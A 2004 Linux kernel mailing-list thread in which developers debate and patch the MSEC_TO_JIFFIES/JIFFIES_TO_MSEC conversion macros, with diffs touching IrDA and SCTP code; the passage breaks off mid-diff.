May 2004 13:23:18 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKN5KO003800 for ; Wed, 12 May 2004 13:23:10 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4CKLHJ10350; Wed, 12 May 2004 13:21:19 -0700 Date: Wed, 12 May 2004 13:20:50 -0700 From: Andrew Morton To: Ingo Molnar Cc: davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040512132050.6eae6905.akpm@osdl.org> In-Reply-To: <20040512200305.GA16078@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5083 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Ingo Molnar wrote: > > > * Davide Libenzi wrote: > > > > why is it wrong? > > > > For HZ == 1000 it's fine, even if it'd better to explicitly make it HZ > > dependent and let the compiler to discard them. > > the compiler cannot discard the multiplication and the division from the > following: > > x * 1000 / 1000 > > due to overflows. But we know that HZ is 1000 in the arch-dependent > param.h, and in sched.c we use the HZ dependent variant: > > #ifndef JIFFIES_TO_MSEC > # define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) > #endif > #ifndef MSEC_TO_JIFFIES > # define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) > #endif > Yes, that's a correct optimisation. This is simply a namespace clash. How about we do: #if HZ=1000 #define MSEC_TO_JIFFIES(msec) (msec) #define JIFFIES_TO_MESC(jiffies) (jiffies) #elif HZ=100 #define MSEC_TO_JIFFIES(msec) (msec * 10) #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) #else #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) #define JIFFIES_TO_MSEC(jiffies) ... #endif in some kernel-wide header then kill off all the private implementations? From greg@kroah.com Wed May 12 13:34:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:35:04 -0700 (PDT) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKYoKO004333 for ; Wed, 12 May 2004 13:34:50 -0700 Received: from DYN318928BLD.beaverton.ibm.com (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i4CKXKt18320; Wed, 12 May 2004 13:33:21 -0700 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1BO0PL-4Fq-00; Wed, 12 May 2004 13:32:51 -0700 Date: Wed, 12 May 2004 13:32:51 -0700 From: Greg KH To: Andrew Morton Cc: Ingo Molnar , davidel@xmailserver.org, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512203251.GA16336@kroah.com> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040512132050.6eae6905.akpm@osdl.org> User-Agent: Mutt/1.5.6i X-archive-position: 5084 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 01:20:50PM -0700, Andrew Morton wrote: > How about we do: > > #if HZ=1000 > #define MSEC_TO_JIFFIES(msec) (msec) > #define JIFFIES_TO_MESC(jiffies) (jiffies) > #elif HZ=100 > #define MSEC_TO_JIFFIES(msec) (msec * 10) > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > #else > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > #define JIFFIES_TO_MSEC(jiffies) ... > #endif > > in some kernel-wide header then kill off all the private implementations? Looks good to me. thanks, greg k-h From akpm@osdl.org Wed May 12 13:37:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:38:08 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKbYKO004670 for ; Wed, 12 May 2004 13:37:41 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4CKZlJ12992; Wed, 12 May 2004 13:35:48 -0700 Date: Wed, 12 May 2004 13:35:20 -0700 From: Andrew Morton To: Jeff Garzik Cc: mingo@elte.hu, davidel@xmailserver.org, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040512133520.44fbfd39.akpm@osdl.org> In-Reply-To: <40A28815.2020009@pobox.com> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> <40A28815.2020009@pobox.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5085 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Jeff Garzik wrote: > > > How about we do: > > > > #if HZ=1000 > > #define MSEC_TO_JIFFIES(msec) (msec) > > #define JIFFIES_TO_MESC(jiffies) (jiffies) > > #elif HZ=100 > > #define MSEC_TO_JIFFIES(msec) (msec * 10) > > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > > #else > > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > > #define JIFFIES_TO_MSEC(jiffies) ... > > #endif > > > > in some kernel-wide header then kill off all the private implementations? > > > include/linux/time.h. One of the SCTP people already did this, but I > suppose it's straightforward to reproduce. OK, I'll do it. From wli@holomorphy.com Wed May 12 13:40:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:40:14 -0700 (PDT) Received: from holomorphy.com (mail@holomorphy.com [207.189.100.168]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKdwKO005055 for ; Wed, 12 May 2004 13:39:59 -0700 Received: from wli by holomorphy.com with local (Exim 3.36 #1 (Debian)) id 1BO0Un-00053W-00; Wed, 12 May 2004 13:38:29 -0700 Date: Wed, 12 May 2004 13:38:29 -0700 From: William Lee Irwin III To: Andrew Morton Cc: Ingo Molnar , davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512203829.GI1397@holomorphy.com> Mail-Followup-To: William Lee Irwin III , Andrew Morton , Ingo Molnar , davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040512132050.6eae6905.akpm@osdl.org> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 5086 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wli@holomorphy.com Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 01:20:50PM -0700, Andrew Morton wrote: > How about we do: > #if HZ=1000 > #define MSEC_TO_JIFFIES(msec) (msec) > #define JIFFIES_TO_MESC(jiffies) (jiffies) > #elif HZ=100 > #define MSEC_TO_JIFFIES(msec) (msec * 10) > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > #else > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > #define JIFFIES_TO_MSEC(jiffies) ... > #endif > in some kernel-wide header then kill off all the private implementations? How about this? #if HZ <= 1000 && !(1000 % HZ) #define MSEC_TO_JIFFIES(m) ((1000/HZ)*(m)) #define JIFFIES_TO_MSEC(j) ((j)/(1000/HZ)) #elif HZ > 1000 && !(HZ % 1000) #define MSEC_TO_JIFFIES(m) ((m)/(HZ/1000)) #define JIFFIES_TO_MSEC(j) ((HZ/1000)*(j)) #else #define MSEC_TO_JIFFIES(m) ((HZ*(m) + 999)/1000) #define JIFFIES_TO_MSEC(j) ((1000*(j) + HZ - 1)/HZ) #endif -- wli From jan@ixiacom.com Wed May 12 13:40:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:40:27 -0700 (PDT) Received: from racerx.ixiacom.com (64-60-75-69.cust.telepacific.net [64.60.75.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKe8KO005086 for ; Wed, 12 May 2004 13:40:09 -0700 Received: by racerx.ixiacom.com with Internet Mail Service (5.5.2657.72) id ; Wed, 12 May 2004 13:40:20 -0700 Message-ID: <15FDCE057B48784C80836803AE3598D50627ACD5@racerx.ixiacom.com> From: Jan Olderdissen To: "'Andrew Morton'" , Ingo Molnar Cc: davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: RE: MSEC_TO_JIFFIES is messed up... Date: Wed, 12 May 2004 13:40:18 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 5087 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan@ixiacom.com Precedence: bulk X-list: netdev Couple nitpicks: > #if HZ=1000 #if HZ==1000 > #define MSEC_TO_JIFFIES(msec) (msec) > #define JIFFIES_TO_MESC(jiffies) (jiffies) > #elif HZ=100 #elif HZ==100 > #define MSEC_TO_JIFFIES(msec) (msec * 10) > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) #define JIFFIES_TO_MSEC(jiffies) (jiffies / 10) > #else > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > #define JIFFIES_TO_MSEC(jiffies) ... > #endif Jan From mingo@elte.hu Wed May 12 13:45:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:45:23 -0700 (PDT) Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKjAKO006305 for ; Wed, 12 May 2004 13:45:11 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx1.elte.hu (Postfix) with ESMTP id C345F276D77; Wed, 12 May 2004 22:32:58 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id 06FD11FC3; Wed, 12 May 2004 22:32:57 +0200 (CEST) Date: Wed, 12 May 2004 22:35:00 +0200 From: Ingo Molnar To: Valdis.Kletnieks@vt.edu Cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512203500.GA17999@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="ikeVEW9yuYc//A+q" Content-Disposition: inline In-Reply-To: <20040512202807.GA16849@elte.hu> User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, BAYES_00 -4.90, UPPERCASE_25_50 0.00 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5088 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev --ikeVEW9yuYc//A+q Content-Type: text/plain; charset=us-ascii Content-Disposition: inline * Ingo Molnar wrote: > the attached patch (against BK-curr) cleans this up and makes the > defines generic and arch-independent. new patch attached - this adopts the overflow-safe variant from sctp.h, removes it from sctp.h and moves it into a generic include file and also does the HZ=1000 simplification. Ingo --ikeVEW9yuYc//A+q Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="hz-cleanup-2.6.6-A1" --- linux/include/linux/time.h.orig +++ linux/include/linux/time.h @@ -177,6 +177,17 @@ struct timezone { (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, 1) - 1) #endif + +#if HZ == 1000 +# define JIFFIES_TO_MSEC(x) (x) +# define MSEC_TO_JIFFIES(x) (x) +#else +#define MSECS_TO_JIFFIES(msec) \ + (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) +#define JIFFIES_TO_MSECS(jiff) \ + (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) +#endif + /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note * that a remainder subtract here would not do the right thing as the --- linux/include/net/sctp/sctp.h.orig +++ linux/include/net/sctp/sctp.h @@ -116,11 +116,6 @@ #define SCTP_STATIC static #endif -#define MSECS_TO_JIFFIES(msec) \ - (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) -#define JIFFIES_TO_MSECS(jiff) \ - (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) - /* * Function declarations. */ --- linux/include/asm-i386/param.h.orig +++ linux/include/asm-i386/param.h @@ -5,8 +5,6 @@ # define HZ 1000 /* Internal kernel timer frequency */ # define USER_HZ 100 /* .. some user interfaces are in "ticks" */ # define CLOCKS_PER_SEC (USER_HZ) /* like times() */ -# define JIFFIES_TO_MSEC(x) (x) -# define MSEC_TO_JIFFIES(x) (x) #endif #ifndef HZ --- linux/kernel/sched.c.orig +++ linux/kernel/sched.c @@ -75,13 +75,6 @@ #define NS_TO_JIFFIES(TIME) ((TIME) / (1000000000 / HZ)) #define JIFFIES_TO_NS(TIME) ((TIME) * (1000000000 / HZ)) -#ifndef JIFFIES_TO_MSEC -# define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) -#endif -#ifndef MSEC_TO_JIFFIES -# define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) -#endif - /* * These are the 'tuning knobs' of the scheduler: * --ikeVEW9yuYc//A+q-- From akpm@osdl.org Wed May 12 13:50:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:50:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKoJKO006746 for ; Wed, 12 May 2004 13:50:23 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4CKljJ15051; Wed, 12 May 2004 13:47:46 -0700 Date: Wed, 12 May 2004 13:47:18 -0700 From: Andrew Morton To: William Lee Irwin III Cc: mingo@elte.hu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040512134718.7e55cceb.akpm@osdl.org> In-Reply-To: <20040512203829.GI1397@holomorphy.com> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> <20040512203829.GI1397@holomorphy.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5089 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev William Lee Irwin III wrote: > > How about this? > > #if HZ <= 1000 && !(1000 % HZ) > #define MSEC_TO_JIFFIES(m) ((1000/HZ)*(m)) > #define JIFFIES_TO_MSEC(j) ((j)/(1000/HZ)) > #elif HZ > 1000 && !(HZ % 1000) > #define MSEC_TO_JIFFIES(m) ((m)/(HZ/1000)) > #define JIFFIES_TO_MSEC(j) ((HZ/1000)*(j)) > #else > #define MSEC_TO_JIFFIES(m) ((HZ*(m) + 999)/1000) > #define JIFFIES_TO_MSEC(j) ((1000*(j) + HZ - 1)/HZ) > #endif You promise it's correct and generates good code? --- 25-akpm/drivers/net/irda/act200l-sir.c | 2 +- 25-akpm/drivers/net/irda/act200l.c | 10 +++++----- 25-akpm/drivers/net/irda/actisys.c | 2 +- 25-akpm/drivers/net/irda/girbil.c | 10 +++++----- 25-akpm/drivers/net/irda/irda-usb.c | 6 +++--- 25-akpm/drivers/net/irda/irport.c | 4 ++-- 25-akpm/drivers/net/irda/irtty-sir.c | 4 ++-- 25-akpm/drivers/net/irda/ma600-sir.c | 8 ++++---- 25-akpm/drivers/net/irda/ma600.c | 16 ++++++++-------- 25-akpm/drivers/net/irda/mcp2120.c | 8 ++++---- 25-akpm/drivers/net/irda/sir_dev.c | 2 +- 25-akpm/drivers/net/irda/sir_kthread.c | 2 +- 25-akpm/drivers/net/irda/stir4200.c | 6 +++--- 25-akpm/drivers/net/irda/tekram-sir.c | 2 +- 25-akpm/drivers/net/irda/tekram.c | 12 ++++++------ 25-akpm/include/asm-i386/param.h | 2 -- 25-akpm/include/linux/time.h | 10 ++++++++++ 25-akpm/include/net/irda/irda.h | 2 -- 25-akpm/include/net/sctp/sctp.h | 5 ----- 25-akpm/kernel/sched.c | 7 ------- 25-akpm/net/irda/ircomm/ircomm_tty.c | 2 +- 25-akpm/net/irda/irlap_event.c | 6 +++--- 25-akpm/net/sctp/associola.c | 10 +++++----- 25-akpm/net/sctp/chunk.c | 2 +- 25-akpm/net/sctp/endpointola.c | 4 ++-- 25-akpm/net/sctp/socket.c | 24 ++++++++++++------------ 26 files changed, 81 insertions(+), 87 deletions(-) diff -puN drivers/net/irda/act200l.c~jiffies-to-msec-borkage-fix drivers/net/irda/act200l.c --- 25/drivers/net/irda/act200l.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.436171144 -0700 +++ 25-akpm/drivers/net/irda/act200l.c 2004-05-12 13:46:41.482164152 -0700 @@ -148,7 +148,7 @@ static int act200l_change_speed(struct i irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = MSEC_TO_JIFFIES(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -187,7 +187,7 @@ static int act200l_change_speed(struct i /* Write control bytes */ self->write(self->dev, control, 3); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(5); + ret = MSEC_TO_JIFFIES(5); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -237,14 +237,14 @@ static int act200l_reset(struct irda_tas self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = MSEC_TO_JIFFIES(50); break; case IRDA_TASK_WAIT1: /* Reset the dongle : set RTS low for 25 ms */ self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = MSEC_TO_JIFFIES(50); break; case IRDA_TASK_WAIT2: /* Clear DTR and set RTS to enter command mode */ @@ -253,7 +253,7 @@ static int act200l_reset(struct irda_tas /* Write control bytes */ self->write(self->dev, control, 9); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(15); + ret = MSEC_TO_JIFFIES(15); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ diff -puN drivers/net/irda/act200l-sir.c~jiffies-to-msec-borkage-fix drivers/net/irda/act200l-sir.c --- 25/drivers/net/irda/act200l-sir.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.437170992 -0700 +++ 25-akpm/drivers/net/irda/act200l-sir.c 2004-05-12 13:46:41.486163544 -0700 @@ -178,7 +178,7 @@ static int act200l_change_speed(struct s /* Write control bytes */ sirdev_raw_write(dev, control, 3); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(5)); + schedule_timeout(MSEC_TO_JIFFIES(5)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); diff -puN drivers/net/irda/actisys.c~jiffies-to-msec-borkage-fix drivers/net/irda/actisys.c --- 25/drivers/net/irda/actisys.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.439170688 -0700 +++ 25-akpm/drivers/net/irda/actisys.c 2004-05-12 13:46:41.486163544 -0700 @@ -238,7 +238,7 @@ static int actisys_reset(struct irda_tas self->set_dtr_rts(self->dev, TRUE, TRUE); /* Sleep 50 ms to make sure capacitor is charged */ - ret = MSECS_TO_JIFFIES(50); + ret = MSEC_TO_JIFFIES(50); irda_task_next_state(task, IRDA_TASK_WAIT); break; case IRDA_TASK_WAIT: diff -puN drivers/net/irda/girbil.c~jiffies-to-msec-borkage-fix drivers/net/irda/girbil.c --- 25/drivers/net/irda/girbil.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.440170536 -0700 +++ 25-akpm/drivers/net/irda/girbil.c 2004-05-12 13:46:41.478164760 -0700 @@ -119,7 +119,7 @@ static int girbil_change_speed(struct ir irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = MSEC_TO_JIFFIES(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -153,7 +153,7 @@ static int girbil_change_speed(struct ir /* Write control bytes */ self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = MSEC_TO_JIFFIES(100); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -194,19 +194,19 @@ static int girbil_reset(struct irda_task self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep at least 5 ms */ - ret = MSECS_TO_JIFFIES(20); + ret = MSEC_TO_JIFFIES(20); break; case IRDA_TASK_WAIT1: /* Set DTR and clear RTS to enter command mode */ self->set_dtr_rts(self->dev, FALSE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(20); + ret = MSEC_TO_JIFFIES(20); break; case IRDA_TASK_WAIT2: /* Write control byte */ self->write(self->dev, &control, 1); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(20); + ret = MSEC_TO_JIFFIES(20); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ diff -puN drivers/net/irda/irda-usb.c~jiffies-to-msec-borkage-fix drivers/net/irda/irda-usb.c --- 25/drivers/net/irda/irda-usb.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.442170232 -0700 +++ 25-akpm/drivers/net/irda/irda-usb.c 2004-05-12 13:46:41.481164304 -0700 @@ -268,7 +268,7 @@ static void irda_usb_change_speed_xbofs( speed_bulk_callback, self); urb->transfer_buffer_length = USB_IRDA_HEADER; urb->transfer_flags = URB_ASYNC_UNLINK; - urb->timeout = MSECS_TO_JIFFIES(100); + urb->timeout = MSEC_TO_JIFFIES(100); /* Irq disabled -> GFP_ATOMIC */ if ((ret = usb_submit_urb(urb, GFP_ATOMIC))) { @@ -412,7 +412,7 @@ static int irda_usb_hard_xmit(struct sk_ * This is how the dongle will detect the end of packet - Jean II */ urb->transfer_flags |= URB_ZERO_PACKET; /* Timeout need to be shorter than NET watchdog timer */ - urb->timeout = MSECS_TO_JIFFIES(200); + urb->timeout = MSEC_TO_JIFFIES(200); /* Generate min turn time. FIXME: can we do better than this? */ /* Trying to a turnaround time at this level is trying to measure @@ -1311,7 +1311,7 @@ static inline struct irda_class_desc *ir IU_REQ_GET_CLASS_DESC, USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE, 0, intf->altsetting->desc.bInterfaceNumber, desc, - sizeof(*desc), MSECS_TO_JIFFIES(500)); + sizeof(*desc), MSEC_TO_JIFFIES(500)); IRDA_DEBUG(1, "%s(), ret=%d\n", __FUNCTION__, ret); if (ret < sizeof(*desc)) { diff -puN drivers/net/irda/irport.c~jiffies-to-msec-borkage-fix drivers/net/irda/irport.c --- 25/drivers/net/irda/irport.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.443170080 -0700 +++ 25-akpm/drivers/net/irda/irport.c 2004-05-12 13:46:41.484163848 -0700 @@ -452,7 +452,7 @@ int __irport_change_speed(struct irda_ta task->state = IRDA_TASK_WAIT; /* Try again later */ - ret = MSECS_TO_JIFFIES(20); + ret = MSEC_TO_JIFFIES(20); break; } @@ -474,7 +474,7 @@ int __irport_change_speed(struct irda_ta irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give dongle 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = MSEC_TO_JIFFIES(1000); } else /* Child finished immediately */ irda_task_next_state(task, IRDA_TASK_CHILD_DONE); diff -puN drivers/net/irda/irtty-sir.c~jiffies-to-msec-borkage-fix drivers/net/irda/irtty-sir.c --- 25/drivers/net/irda/irtty-sir.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.444169928 -0700 +++ 25-akpm/drivers/net/irda/irtty-sir.c 2004-05-12 13:46:41.478164760 -0700 @@ -93,12 +93,12 @@ static void irtty_wait_until_sent(struct tty = priv->tty; if (tty->driver->wait_until_sent) { lock_kernel(); - tty->driver->wait_until_sent(tty, MSECS_TO_JIFFIES(100)); + tty->driver->wait_until_sent(tty, MSEC_TO_JIFFIES(100)); unlock_kernel(); } else { set_task_state(current, TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(USBSERIAL_TX_DONE_DELAY)); + schedule_timeout(MSEC_TO_JIFFIES(USBSERIAL_TX_DONE_DELAY)); } } diff -puN drivers/net/irda/ma600.c~jiffies-to-msec-borkage-fix drivers/net/irda/ma600.c --- 25/drivers/net/irda/ma600.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.446169624 -0700 +++ 25-akpm/drivers/net/irda/ma600.c 2004-05-12 13:46:41.480164456 -0700 @@ -184,7 +184,7 @@ static int ma600_change_speed(struct ird if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return MSEC_TO_JIFFIES(10); } else { self->speed_task = task; } @@ -202,7 +202,7 @@ static int ma600_change_speed(struct ird irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* give 1 second to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = MSEC_TO_JIFFIES(1000); } else { irda_task_next_state(task, IRDA_TASK_CHILD_DONE); } @@ -217,7 +217,7 @@ static int ma600_change_speed(struct ird /* Set DTR, Clear RTS */ self->set_dtr_rts(self->dev, TRUE, FALSE); - ret = MSECS_TO_JIFFIES(1); /* Sleep 1 ms */ + ret = MSEC_TO_JIFFIES(1); /* Sleep 1 ms */ irda_task_next_state(task, IRDA_TASK_WAIT); break; @@ -231,7 +231,7 @@ static int ma600_change_speed(struct ird irda_task_next_state(task, IRDA_TASK_WAIT1); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(15); + ret = MSEC_TO_JIFFIES(15); break; case IRDA_TASK_WAIT1: @@ -258,7 +258,7 @@ static int ma600_change_speed(struct ird irda_task_next_state(task, IRDA_TASK_WAIT2); /* Wait at least 10 ms */ - ret = MSECS_TO_JIFFIES(10); + ret = MSEC_TO_JIFFIES(10); break; case IRDA_TASK_WAIT2: @@ -298,7 +298,7 @@ int ma600_reset(struct irda_task *task) if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__); - return MSECS_TO_JIFFIES(10); + return MSEC_TO_JIFFIES(10); } else self->reset_task = task; @@ -307,13 +307,13 @@ int ma600_reset(struct irda_task *task) /* Clear DTR and Set RTS */ self->set_dtr_rts(self->dev, FALSE, TRUE); 